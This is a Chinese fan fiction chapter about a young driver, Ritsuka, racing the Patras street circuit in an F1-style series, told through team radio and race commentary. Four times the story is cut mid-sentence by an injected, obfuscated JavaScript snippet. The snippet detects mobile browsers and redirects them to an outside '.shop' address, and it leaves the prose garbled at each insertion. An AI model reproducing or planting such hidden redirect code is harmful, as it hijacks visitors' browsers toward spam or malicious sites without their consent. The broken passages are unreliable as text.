上一场比赛在上上个星期,宽松的非背靠背赛程允许她步伐从容地前进在自己密密麻麻的日程表上。离开医院病床后,先飞回家解决部分学业问题,再飞回迦勒底总部调整车与车手的各自状况,然后赶在媒体日前飞回欧洲准备比赛日,飞天行程残忍地将飞飞飞的字眼刻在藤丸立香过去两周的记忆里,然后喜提车手本人抵达酒店后的懒洋洋姿态。 困顿的大脑,身体在温暖阳光的照耀下逐渐失去意识,立香半趴在栏杆上与午间不太强烈的海风相伴,她将脸埋入毛绒绒的衣领中。 懒惰的拖延状态未能维持太久,在手腕指针的无声催促下,只能拖着身体继续前进。强打精神的立香立于媒体日的采访大舞台上,以强悍的社交能力把所有对七丘赛道事故的争论提问压力下去。 “赛场上总有事故,这是所有人都无法预料到的,你们不能总是用各种阴谋论来思考问题,”立香笑着回答,“F1又不是文明五,不过明年好像要出六了?” 她侧过耳朵去和队友卡多克窃窃私语一番,又扭过头回来继续笑答主持人的最后一句话:“简单来说,那就是,如果意外发生了,那就是意外发生了,也只是一场意外而已。” “如果会有人希望看到一哭二闹三上吊的诉讼戏码,或许应该去找戈夫或者fia?”卡多克如是调侃,“车手们的额外反应在她身上一般起不了效,哪怕是藤丸小姐自己。” “为什么是Ms.Fujimaru?”队友问。 “这不重要。” “我讨厌街道赛,这一点很重要。”车手的声音传递在无线电频道中被炸麦所阻碍,模糊的音调与车手本人的烦恼一同驰骋于赛道之上。希腊大奖赛的第一次自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001137|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由练习FP1已经开始拉表,沐浴于地中海气候的突发性阵雨之中的立香正在和自己心里“天气晴朗干燥”的预测做痛苦的Say Goodbye。 “轮胎感觉怎么样?”罗曼问,“身体是否还有不适?” “前者我正在感觉,后者已经问过两次,一切如常,别担心。”正在小心翼翼寻觅各弯抓地力的立香“小心翼翼”地驶过低洼与积水区,“还要下多久的雨?” “预计二十分钟。” “直接说整场一练都是雨好了!”车手吐槽,“雨势还会更大吗?” “会持续减弱,我们会随时检测,请留意12号弯的重刹区。” “我知道,码头直道末段的位置现在已经可以改名叫湿地公园了。”立香拖着尾音,“刹车盘温度还是不足,请问现在的制动力是零吗?” “尚可控,14-15号弯过度湿滑别压太多路肩,前车一台阿尔戈,在6s左右的位置。” “Copy。” 从早上十点开始的一练,突发性阵雨却从十点半开始下到一练结束的十一点半。初期雨势过大,导致所有车在赛会提醒下用全雨胎出的场。中期雨势减弱,于是所有车队都进站换半雨胎,交替测试赛车设置,维修区一度车满为患,交通拥堵,不安全释放出现了三次。后期雨势停歇,赛道缓慢变干,吃螃蟹先换光头胎的车又引安全车频频出动,最终以大家都没好好跑几圈的混乱局面落下FP1的最后一秒钟。 摘下头盔的立香一脸郁卒,她在与轮胎温度、半雨性能、光头胎赌博、半干赛车线进行一番搏斗后,先上草化身割草机,又积水区打转spin给观众表演了雨天甜甜圈,桥下狭窄区域还被后车强行超车悲上墙……其令车手痛苦的程度虽然还比不上七丘站正赛时的功亏一篑与惨入院,但所带来的维修费与二练前车组必须完成修车的紧凑工作,又让她难以避免地心生愧疚。 千言万语只汇成一句话:“我讨厌街道赛。” “二练时间推迟到下午14:30,大概晚了半个小时开始。” “为什么?”在看一练其他车队情况的立香问。 “街道赛,地面排水能力没有专用赛道好,路面上雨后形成的水膜有些顽固。” “所以一练频频有车轮胎滑水效应?” “二练的天气不错,预计没有雨,会迅速回温,如果情况不错我们先中性胎上场。” “Copy。” 无情咀嚼冰激凌中,连赛车服都没完全脱掉的立香在休息室里反复回看自己一练的车载和数据,为今早的雨势与自由练习赐名俄刻阿诺斯无尽雨赛道后,烦恼多多地起身,准备奔赴二练。 “爱琴海怎么就俄刻阿诺斯了?”队友困惑。 “你上墙,我上墙,怎么不算迦勒底无尽上墙の海?” “这个词原本是这个意思吗?” “反正是关征服王的事。” 15.帕特雷环海赛道2 正赛的开场嘉宾,征服王先生在二练时已携亲朋好友登录vip观众席,引得媒体长枪大炮纷纷转移目标,只为探寻他心中的围场内Rider Top1。 正在依次完成戴手套、戴头盔等一系列装备工作的立香抬头看了看一片喧闹的观众席,在得到车组人员答疑解惑后,兴致缺缺地放弃好奇心探究,她抬腿坐入驾驶舱等待二练的正式开始。 “无线电测试。” “很清楚,”车手握着方向盘,又突觉哪里不对地开始摸自己身上,她向一旁的技师挥手示意,“有人能帮我看看安全带吗?好像错位了。” “好,稍等。” 太阳,仁慈且慷慨地在午间挥洒自己的温暖,海风的吹刮正在给赛车平衡带来新的影响因素。没有中性胎直接出场,而是继续半雨驶出维修区先完成一练末段的测试收尾,立香听着耳边的风向实时汇报,对方向盘进行修正。 赛道在雨停回温后正在由湿变干,只是地面排水能力之差、变干速度之慢,让车手光凭肉眼都能隔着护目镜看到水洼的存在。微妙的不安感正在心里摇摆,只是湿地高手藤丸司机毫不动摇地把摇摆的直觉压回底部,继续一门心思地专注于开车。 “Box,box。”罗玛尼在迦勒底的无线电频道里召唤车手进站换胎。 “有多少人已经换了?”立香打着方向盘,问自家工程师。 “如果你在完成这一圈后就立即进站的话,那就是倒数第四位。” “Copy……great,”还没来得及用嘴巴回答什么的车手,先用眼睛看到了自己面前一台阿尔戈在十一号弯一滑冲天、飞入砂石地,她挖苦,“所有人都在迫不及待地换光头胎,一个劲地生怕落后,但也是所有人都只敢在赛车线上跑。这下我们进站不用损失太多时间啦,lucky~” “黄旗,安全车出动了,留意赛道上的残留碎片。”罗玛尼憋了一下,还是忍不住开口了,“或许我们该把这句话记进安全驾驶的手册里?” “不、不,”立香驶过赛道最后一个弯,准备进入维修区通道,她拐弯抹角,“应该是Fia该把禁止轮胎赌博刻在比耐力的配方上。” “我真希望周日不会出现解说用这句话挖苦我们的时候。” “我会尽力的,如果万能的天才可以不在边上配合解说挖苦我就更好了,那台阿尔戈还好吗?”等待换胎完成的立香没有回过头去看迦勒底策略墙座位上扭头看换胎实况的工程师,“是伊阿宋还是赫拉克勒斯?” “赫拉克勒斯,”罗曼简要回答,“注意一号弯出来后,直道末端积水严重,请避免重刹。” “我会留意,”立香控制着车的速度避免维修区内超速,“……怎么是硬胎?” “中性胎,”工程师卡顿片刻,迅速找到委婉一些的形容词,“今天有些糟糕。” “我希望这句话的数据来源里没有卡多克。”立香挑眉,“不要有下次,请提前告诉我。” “我很抱歉。”用一句话回答两个问题的罗玛尼语气真诚。 “……Copy。”微妙的不爽感正在上升,擅长应对自家工程师常常突如其来轻浮感的车手反倒突兀地笑了一下。 准备圈狂奔完成,确认已经到达良好的工作窗口后,开始用硬胎进行重油长跑的立香为接二连三打断自己正常小车跑圈的各色旗子信号而感到烦躁——轮胎衰退数据的收集工作还需要多几圈的尝试。 起始复合弯,大幅提前地柔和刹车,竭力减少锁死可能性地路过积水打滑风险区。三号弯处尚未入弯便已直面港口侧风区影响,头盔下不为所动的车手继续自己修正方向盘的工作,只在tr里给汇报实时风向与新的平衡设定建议的工程师留下一句没什么语气的“收到。” “S”号弯的地面起伏仍然干扰车手视线,但是停雨已久的逐渐升温让前车车身掀起的水雾愈发微弱,已微弱的再难以干扰车手视区清晰度。全凭过往经验入弯、出弯,身体下意识所能把控的流畅节奏是车手驾驶天赋的一部分。才“远远”望到大桥下的急刹区,便已提前开始做暖刹的立香轻踩刹车,以高速飞入长直道,重刹驶过狭窄右弯,顺顺利利的过弯过程中没有出现深陷低温抓地力陷阱打滑的失误。 只是没等她为自己终于能跑完完整的一圈而松一口气,小小的后视镜中所看到的死亡之弯受害者再+1的噩耗又让她感到头痛。 “十一号弯已经停了多少台车了?”在慢速弯为避免轮胎温度过度下降的立香增加着弯中的转向动作,她在tr里顺嘴一问。 “四辆,有两台进了缓冲区。” “收到。” “安全车、安全车~”哼着哼着就要唱起来的车手开始在迦勒底的无线电频道里创作,她不紧不慢地开着车飞驰过赛道,“we all hate~safety car~” “是否需要音乐录制服务?”罗玛尼问她。 “有车载~”立香哼道,“或许我更应该向收听到这段歌的所有人收取费用?” “好主意,那稍后是否需要pr为你发一条专辑公告?” “诶——好贴心的服务,”立香笑了,“但是暂时没有转型出道的想法。” 左扯右扯的二练是不好不坏的安全车频频出动、但二练测试与调校需求都已经完成的普普通通FP2,使劲用帽子压自己不安分头发的立香摘下头盔后踱着有气无力的步伐走回迦勒底的P房。她在离场前回头看了眼阳光灿烂的天空,在心里有气有力地祈祷保持到明天。 “因为你还是讨厌湿地?” “不,”她反驳自家队友,“只是雨天,我又不是旱鸭子。” “收到~”卡多克抬手,在混采区的镜头面前极其顺手地转了转立香帽子,好让她在记者的长枪大炮面前调整为正常的帽子车手的样子。 “所以立香会更讨厌雨天的时候进行比赛吗?”记者笑意盈盈接下这个问题。 “呃,”立香下意识地转了转麦克风,一时之间忘记自己要和队友说的话,她语气诚恳,“不,湿地比赛其实也很不错,雨天总能给比赛带来不一样的影响因素,有时候我还挺期待的,只要不是危险到看起来要撞车的雨天比赛就都无所谓。” “影响因素是指意外与安全车吗?” “安全车总能给轮胎策略带来特别的转换条件,毕竟帕特雷虽然是街道赛,但是高速条件和低温天气,呃还有部分赛道自带因素,保胎总是更重要,安全车出动就意味着很多东西了。”立香回答。 “这个赛季以来,短短两站三次比赛,卡多克目前对哪次安全车出动更有印象呢?”对刀枪不入的立香选择转移目标,记者进攻对象一变。 “冬木?”卡多克迟疑,“毕竟那是我拿过最多积分的一次了。” “之后还会更多,”立香插嘴,调侃上个赛季的同时还大言不惭道,“毕竟我们有一台正常的车了,而车手们,显而易见的,都拥有上领奖台的能力。” 次日周六的三练,天气美妙的FP3,平平无奇的排位赛模拟。软胎起步,人人都在为稍后的排位赛黄金一圈做拼搏的同一时间里,自信到镜头面前也大言不惭的藤丸立香正在和自己失去工作状态的离合器做搏斗。冷笑相对没用车,车手历经一番苦思冥想后,终于回忆起自己昨日第二次自由练习后,在采访中的“一台正常的车。” 她面目狰狞地试图用自己的脚代替轮胎进行驾驶,想要与“围场乌鸦嘴”的称号做一个彻彻底底的切割,然后悲伤地听tr里与竞争力毫无关系的圈速汇报,痛苦思考能够让车起死回生的方法——“达芬奇亲救救我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040773|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !!!” “离排位赛还有足够的时间诊断和修复,我们放轻松些。”工程师在无线电频道里安抚。 “好吧好吧,这就是意外的不可预测性,总有一天我得去卖保险,保准能把所有的风险相关性给今天围场上的十九位车手们都说个清清楚楚。” “还拥有说幽默话语的心态是很好的。” “……doctor你在表演讽刺角色是怎么工作的吗?”立香大悲。 “Stop,”策略师打断两人,“我们需要进站调整一下,或许聊天时间可以等到明天正赛?” “Copy~”立香在工程师的转述中哼哼道。 FP3后的排位赛,一开始是正常的。试图为“正常”一词找到定义的立香踩着自己的大脑,在一番深切思考后才恍然大悟地意识到,原来人倒霉起来是无穷无尽的。 三练后的故障赛车于车库内重置,在快速完成数据诊断后,车载系统重置离合器控制程序。车手在策略墙的建议下修改换挡模式以规避问题,尝试通过差速器调校来补偿出弯时的牵引力损失。一个意外事故解决得还算成功,令车手感到痛苦的是Q1拉表后的另“一”堆意外。 “红旗、红旗,又是红旗,”立香抬眼看大屏幕,真心实意困惑问道,“Q1目前有人跑出哪怕一个有效成绩吗?” “我很抱歉,但目前还没有。”工程师语带遗憾。 “哎呀~这下大家都能体验到Q1被淘汰的味道了。”车手闻言喜之。 引擎的声音规律到熟悉如催眠曲,驰骋于赛道上的午间时光,阳光的灿烂程度是一练时难以设想的热烈。三练因离合器不在状态而丢失排位赛单圈模拟机会,立香在Q1的第二次红旗结束后,抓紧时间地开始飞驰圈,在此之前一直暖胎做准备圈的驾驶允许她一上来就“不管不顾”地直奔刷紫。 有别于大多数传统街道赛的狭窄、低速与需要精准驾驶,高速、宽阔以及流畅是帕特雷环海赛道的特征所在。尽管如此,这里的超车机会也仍然少的逼迫所有车手一心向杆位。 P11晋级Q2,P4晋级Q3,对赛道上有三个需要从超300km/h时速降至约80km/h的重刹发卡弯抱以“行,还不错”态度的立香正在思考正赛需要跑57圈时的保胎措施,她纠结来纠结去,然后用毫不客气的1分39秒197新软胎单圈成绩力压众人。然后在Q3最后一圈时惨遭被压,最后位列正赛发车格的第二位。 没什么特别心情的立香挠头,仍然是习以为常的摘下头盔,乱抓头发然后戴帽子,沐浴在日光下的橙红头发总是过分璀璨。她端详自己停靠在P2位置的车,有一搭没一搭地轮流和边上两位圆桌车手说话。Q3的前三名喜提本赛季新的混搭人选,加哈拉德、藤丸立香和芭-万希在媒体镜头前保持礼节性笑容地轮流完成采访,然后在转移至室内媒体区时仍旧以轮流发言的模式应对记者。 “那立香你也同意芭-万希的说法吗?” 突然被cue的立香从大脑空空的放空时刻中猛地醒过神来,因为太累了一直在开小差,所以完全没听到问题和车手回答的藤丸选手佯装找麦克风地左顾右盼。没有仁慈心这种东西的芭-万希只是睨她,善意仍单独存给藤丸立香的加哈拉德给她比了个口型:一练。 青训时锻炼出来的默契十足,终于找到麦克风发声位的立香迎上发问者的眼睛:“意外当然是无可避免,谁都没办法彻底控制事故不会发生在自己身上吧?” “就像上一站七丘也是?” 被角度过度刁钻的问题卡住喉咙里早已做好准备的话语,立香停顿,又立即重新扬起笑容:“当然,毕竟就是因为发生了意外,所以意外发生了,撞车的和被撞车的都一样,区别只在于提问的旁观者不会被扣驾照分,您说呢?” 16.帕特雷环海赛道3 年轻当然是一种资本,在围场中尤甚,是否能与“天赋”此物并驾齐驱不敢说,但绝对是足以比拼家庭背景与赞助商的好东西。 立香第一次从他人嘴里听到关于自己的“还年轻,没关系”,是在名为藤丸的霓虹车手刚刚开上F3的时候。少年不知修车费贵,飙着上百时速的赛车,肾上腺素所带来的冲动让她在轮对轮碰撞中,面对前车频繁在刹车区变线之景,毫无畏惧地充当了被罚一方的角色。 而最近一次听到“还年轻”的此类话术,是自家领队于昨日混采结束后以四两拨千斤的话语压下自己面对提问时的乱七八糟回答。没什么其他想法的立香在戈尔德鲁夫怒气冲冲的安慰中,用“啊?还问过这个”的状况外表情表达了自己的“原来还发生过这种事。” “噢你知道的,年轻人总是这样,未来还有很大的成长余地,不是吗?” “人们不能用成年人的标准来要求一个刚刚上中学的孩子,毕竟他们可连驾照都没有。” “当然,他们甚至能开着时速上百里的车,却还不能合法地喝酒。” …… 从这些言论中一路驶过,从未成年到成年,从F3到F1,从什么情绪都掩盖不住的少年人到时至今日的常常被霉神上身、频频被意外袭击都神色不变的车手。时间真是个好东西,只是人们仍然会用“年轻人”的形容来描述她面对倒霉事故,场下还能什么都没发生过一般的成熟,是连身体下意识的愤怒都能压制的过分“不年轻”。 唯独有一点毋庸置疑:年轻当然是个好东西。 梦,总是很亲切,人们能够从中看到所有无论自己渴望还是恐惧的事物,正在眼前发生。 梦,常常很陌生,人们总是被迫从中观看所有自己害怕与期待的事物,永远不会在现实里出现。 梦的主人、故事的主人公,藤丸立香捂着眼睛从梦里醒来的时间点是早上的九点半,赛前队内会议的时间点是早上的十点半。她关掉仍在工作的闹钟,将渴望清净世界的耳朵与吵闹不断的铃声做了个切割,随即才在朋友们震个不断的短信提醒中无声地发出尖叫。 立香抹了抹脸上的泪痕——又或许只是汗?她掀开被子,如同弹跳的鲤鱼一般被床发射起来,匆匆忙忙地奔入洗手间,用比开车还要快的速度,龙卷风似地卷开房间的门,然后卷开下一扇门。 “迟到而已,赖床是年轻人的特权。”车组人员抬眼,看见龙卷风本风后了然地拍拍她的肩膀,耸肩示意会议的开始还在等待对方的到来。 “还不算迟,”位居最里面的技术总监笑着调侃,“至少时间上卡得刚刚好。” 在大家的视线中面不改色地进入自己的座位,立香神色自若地示意会议可以开始了——如同迟到一事从未发生过一般的理直气壮。 赛前的队内会议是熟悉到不能再熟悉的流程,保胎第一重要的帕特雷赛道,只要能将起步位置保到最后一圈就是板上钉钉的领奖台。尽管藤丸立香近来对这类“板上钉钉”话语有一种常常被意外与倒霉袭击的心理阴影,她在重要事项以外的沟通中都保持一句话没吭声的沉默,过分安静的状态让她的比赛工程师有些忧虑地与技术总监交换了一个视线。 会后的时间属于两位车手的休息室,又在双手交接玩反应球的立香喜迎自家工程师与万能技术の人的混合交流谈心环节。她迟疑的神态落入前心理医生、现贴心工程师的眼底,难免让家长心上涌的罗玛尼心生过度忧愁。 “那我能吃罗玛尼冰箱里的梅莉款特别周边草莓蛋糕吗?”毫不客气的被关怀者狮子大张口。 被狮子张口者大为震惊,结结巴巴地退了一步,最终在身后的蒙娜丽莎美人的大力一击中选择节节败退,他清清嗓子:“赛后,好吗?” “好耶!”得意洋洋的立香和门后另一个休息室中探出头来的卡多克比了个“耶”的手势,“罗玛尼果然是世界上最好的doctor!” “到底是医生还是博士?”闻言发问的达芬奇亲用两个doctor的单词敲打车手本人的脑袋。 “也不冲突吧?”如愿以偿的立香笑答,“毕竟,罗玛尼两个都有,是很厉害的大人吧?!” 达芬奇笑了,抬手摸对方毛绒绒的脑袋,“哎呀,年轻人就是这样,罗曼你下次还是直接吃掉,别带回车队了。” “我没有很早之前就在觊觎哦~下次我还会给罗玛尼带梅莉周边的~” 天气状况,晴朗;温度条件,轮胎升温不会太过缓慢;赛道情况,一切如常;赛车本身,目前正常工作中;车手本人…… 迦勒底策略墙上的思考被卡壳,策略师抬眼试图确认自家两位车手的位置,最后被赛道上诡异的发车船震撼到闭上眼睛,他低头看时间——下午的一点,原该是非常正常的车手出场巡游时间段才对…… 对策略墙上的一些自我怀疑并不清楚,单纯被奇形怪状物吸引注意的立香大受震撼:“哇哦……” 无意识地发出感慨声,立香猛然大跨步向前,还处于慢慢悠悠没睡醒的艰难前进状态的卡斯特愣了愣,随即在什么都不知道的情况下跟着立香直直奔向发车格的位置。车手巡游的别出心裁安排正在眼前,二十位车手中有一位需要当司机——一台巨大赛车船!!!(立香如此判断)。 眼冒亮闪闪金光想要开赛车乐高船的立香狂奔向前,完全没意识到究竟在为什么奔跑的卡斯特秉持着日常原则紧追不放,两道身影灵活地穿过人群,试图以超越赛车的速度飞奔至司机位,只余身后一众车手面面相觑。 “比每次开赛出旗准备迟到的时候跑得快多了。”困惑的库丘林如实锐利点评。 “幼稚园没毕业吗?”不屑一顾的芭万-希正在展示不屑一顾的正确用法。 “哇哦哦!!!”抬头一看正前方,意识到在抢什么的莫德雷德兴奋起来,随即火速加入抢跑行列。 “我想,开车的司机应该是我。”彬彬有礼以示司机位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047861|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真正主人的WEC世界冠军正在微笑。 才跑到位置,刚刚为谁第一个跑到斗嘴出答案的三人一同回头看向来人,无处不在的记者与长枪大炮记录下胜利者的笑容与三人的伪装眼泪。立香和卡斯特互相抱怨对方跑太慢地回归后面的车手们站立位,莫德雷德不死心地探出身体和前面正准备开“船”的东道主德雷克做你来我往的嘴炮。 打打闹闹的说说笑笑时间,常常是属于车手们正赛当日的最后笑容时刻,只是人们总是无法及时意识到。 毕竟开世界唯二豪车哭的司机,实在很少吧? 正赛前的暖胎圈一切如常,确认赛车正在好好运转的立香抬眼注视一盏一盏逐个亮起的红灯,绿旗正在掌旗官的手中飞舞着,连同阳光灿烂的天边都似要被染上红绿相间的色彩——灯灭起步。来不及数清楚究竟有多少秒从心头上跳过,希腊大奖赛的正赛正式开始的消息于瞬息之间掠过立香的意识,只是比大脑动得更快的是身体。 P2为脏侧起步,帕特雷赛道发车区左侧的抓地力常常略低于P1所在的右侧,为防打滑必须更加谨慎地起步,更加精细的油门控制是重中之重。于灯灭之前始终将引擎转速维持在最佳接合点,立香卡着红灯全灭的瞬间释放离合器踏板,速度极快但力度与暴力无关。 依据所感的当下抓地力线性给油,一档升二档,瞄准一号弯为长距离右手弯的立香精准走位,紧追杆位的加哈拉德,试图从内侧进攻超越。她从必须集中注意力进行的进攻状态中抽出几分警惕给后视镜中的那台妖精圆桌,P3起步的芭-万希穷追不舍,使得发车格的前三于一号弯之前仍旧呈现三车一线的密集分布。 银白头盔之下的脸没什么特别的表情,迦勒底的车手迎着时速300km+的风与G值压力,咬着内侧不放。 杆位起步的加哈拉德从后视镜中扫过数眼,刹车区前变线,凭借领先与路权先行切入弯心,毫不犹豫地封锁后车的进攻动向。 位居P2的车手敏锐察觉后轮抓地力的不行,她在轮胎可能出现颗粒化早期磨损的忧虑中,选择尽力避免过度方向盘抖动或锁死,于进入一号弯的顷刻果断修改进攻为保位。立香听着耳边Tr里的实时汇报,根据眼前与后视镜的情况构建基础的相对位置,理智在线的大脑正在操作身体,唯独有些飘忽的几缕思绪在心底跑题,偷偷为起步顺利做起庆祝:板上钉钉的领奖台,至少保住了第一圈吧?! 而正在每时每刻督促自己不能屈服于“只是领奖台”的另一缕意识闻讯大怒:那如果最后一圈被“意外”呢!也不算板上钉钉吧?从这一圈开始好好努力施压前车,甩开后车才是正道!怎么能提前开香槟呢! “……立香?立香!”感到迟疑的工程师重复道,“与前车的距离可以尽量保持在0.5-1.2s。” 被无线电的汇报突然地吓了一跳,佯装没听清、实则被脑内争辩吸引了注意力的立香装模作样地沉默片刻才回答:“Copy。” 17.帕特雷环海赛道4 “哎呀!果然是年轻人骁勇善战!P2起步但起步圈超车失败的藤丸立香已经连续十三圈保持在加哈拉德身后的1s左右,既能保持施压、确保有效攻击距离,又不会吸太多乱流让自己前轮过热。但加哈拉德今天非常稳定,每一圈都比藤丸立香快0.09s左右,是一个很稳定的圈圈刷紫成绩。” “虽然藤丸立香在11号弯和15号弯这两个主要超车点都会做出模拟攻击的姿态,延迟刹车来逼加哈拉德进行防守,然后消耗他的刹车和轮胎。非攻击路段也一直尝试不同的走线来模糊前车对自己的预判,让加哈拉德必须不断调整参照点,等同于是增加了加哈拉德的负荷。但在圈速一直落后的情况下,藤丸立香也应该、或者说看起来像修改了自己的目标,刚刚的25号弯也没再使劲进攻,单纯追求完美出弯,顺带利用了一把前车尾流,不过也把两车差距缩小到0.5s以内了。目前正在管理节奏,认真拉开后车。也非常有轮胎管理的意识,今天整体下来的节奏是这么多位车手里比较好的,这样看确实成熟的有点不像年轻人。” “今年的围场不同于过去几年每年都至少有好几个世界冠军在场,新秀夹带着还没拿过冠军的车手,打眼一看全是年轻人。所以个个都憋着一股鱼雷的劲,不是双退就是路过第三方受罪然后变成三/退。” “也可能是因为这几年老将们的集体退役潮?不过今年的重大事故率确实有点高,整得Fia心慌慌,赛季刚刚开始就拉着车手和领队开会。” LAP14,迦勒底TR: “Box,box,”立香确认过场上用软胎起步的车手都有谁进站后,依照自家策略墙的指示老实进站换胎。 “我们保持Plan A,”无线电频道中的罗玛尼言简意赅,“加哈拉德在tr里汇报下一圈进站。” “Copy。” “藤丸立香第十四圈进站,把软胎换成了中性胎,目前是刚刚离开维修区通道就开始赶路,准备通过早进站的策略,用新胎优势来Undercut P1的加哈拉德。她的队友P7起步,现在也准备进站,出站后应该是会落到P15的位置。” “加哈拉德虽然现在轮胎还算不错,但也直接准备下一圈进站确保目前建立的优势不会丢太多。” 在维修区通道谨慎驾驶的立香一出到直道就开始给油升档,直道末端全力刹车,利用赛道宽度平滑入弯,抽出弯加速再加速地把自己和车子一道再扔进三号弯的连续流畅弯道中去。一侧海港、一侧城市街景的美丽风景正在眼前大放送,护目镜下毫无赏景之心的立香自顾自地超车,利用轮胎优势回归P2后,始终被中性胎起步的芭-万希压在第二位的位置。 街道赛的难超车特性正在被前车的火星引擎放大,在17-24号的格拉奥狭窄街区感到跟车吃力的立香果断放开,以避免自己在此处因前车乱流严重损失下压力的可能性。 LAP20,迦勒底TR: “交通不干净,圈速做不了太极限。”没有抱怨只是汇报的立香尽可能平滑地输入方向盘,她调整着自己走线试图在下一个弯再回到芭-万希身后的1s内,“我在街区路段损失了不少速度,下一圈会尽量在直道补回来。” “收到,这边正在检查胎温和磨损情况,11和15号弯请优化刹车。” “Copy。” “局势实在太平静了,每个车手都明明是跟在另一台车后,却受限于赛道特性连正常超车的攻击姿态都做得十足艰难。就算现在二十位车手都进站换胎了,几圈下来又变成和发车时候一样的顺序。” “目前是第29圈,历经轮流超车和追逐战,现在的前三名仍然是加哈拉德、藤丸立香和芭-万希,卡斯特在P4的位置虎视眈眈,再后一点位置的是两台Alter和莫德雷德。好车和厉害引擎里面混了台迦勒底,卡多克目前排在P8,和他的队友一样饱受SB-18转向不足毛病的摧残。” “藤丸立香在芭-万希进站后,原本来到了P1,但是防守能力比她队友差点,在25号弯抽车不及,轮胎锁死加转向不足,走大出了赛道落回第二,让加哈拉德又回到领跑位置。” “新秀年轻人,P2也足够乐了。倒是卡美洛圆桌和妖精圆桌之间的斗争看起来永无休止,稍微让人更加期待下一场的卡美洛赛道了。都是两支队伍的主场赛道,比起分站冠军争夺战,更像是八百年前的亚瑟vs摩根时至今日谁还能胜,曾经的亲姊妹、家人、朋友和队友走到今天这个地步,真有点令人唏嘘了。” LAP36,迦勒底TR: “Box,box,”工程师在无线电频道里召唤自家车手,“立香,我们需要进站。” “为什么?”认真管理轮胎中的立香困惑,“我觉得目前轮胎没问题。” “你想要plan B吗?”得到车手回答的罗玛尼转移思路,“但我很肯定我们第四十圈前必须要进站。” “……呃,”思及长距离轮胎性能严重衰竭后在比赛末段被多停的车手轻松超越的威胁,在心里斟酌安全车可能性的车手犹豫不过一瞬,她的语气在无线电中有些被模糊,“收到,我这一圈进站。” “迦勒底tr里的对话信息量不少,又一个听起来想赌安全车或者一停跑完的年轻新秀,心态上很冒险但是也很听车队的话。藤丸立香进站后目前一路掉到P10的位置,维修区通道出来后应该刚刚会在迦尔纳的后面。” “摩诃婆罗多这几年车都不怎么行,但迦尔纳和阿周那据说都是三年起步的合同,很是考验队伍水平啊,再加上这俩明里暗里也有队内纠纷的矛盾。” 中性胎换中性胎,总共57圈的比赛截止目前为止已经跑剩最后二十一圈。出站后的藤丸立香思考着今天跑得不好不坏的中性胎,将心底的迟疑都搁置后开始猛推,试图在这几圈里尽可能利用轮胎优势跑个极限成绩,以冲击前车、抛开后车。 同样这一圈进站的加哈拉德在tr里和自家工程师没什么其他话要说,和领队梅林更没什么话要说,以一路“copy”的姿态头也不回向前push,只给被卡在他身后的车留下一路乱流。他思考了一下剩下的圈数,掂量片刻自己今天的手感与运气,甚至有空在超车回到领先位置之际抬眼看大屏幕。卡美洛圆桌的车手从后视镜中获得了步步紧逼的后车对象,他对于稍后的领奖台人选可能性放下心来,回归自己的稳定巡航驾驶。 “今天前面这三台车,从起步到现在的倒数第四圈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050539|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始终保持在+0.7s和+ 1 s左右的距离,相当于从头到尾都能在后视镜里看到彼此的存在。” “但是车的能力放在这里,藤丸立香紧赶慢赶还轮胎策略undercut也没成功把加哈拉德从第一拉下来。芭-万希又受限于进攻能力和赛道狭窄,能超的地方没跟上去,跟上去的地方又超不了车,只能一直和前车保持不远不近的位置。” “今天的比赛说实话有点太平静了,加长版的排位赛,名次位序都八九不离十。把街道赛不利超车的问题暴露得一干二净,比赛观赏性也不怎么样。” “进入最后一圈,如果没有意外的话,领奖台人选就是目前的前三名。藤丸立香除了前一站被鱼雷带走没分后,各站发挥都比较稳定,一直在前十的积分区内。下一站的大不列颠大奖赛也算她本人的半个主场和迦勒底车队的主场赛道,可以继续期待她在新秀赛季的后续发挥。” LAP57,迦勒底TR: “我应该是冲线了吧?”明知故问的车手暗示要夸,“我看见方格旗了。” “P2!P2!P2!”无线电频道里的声音嘈杂,“非常非常非常非常棒!” 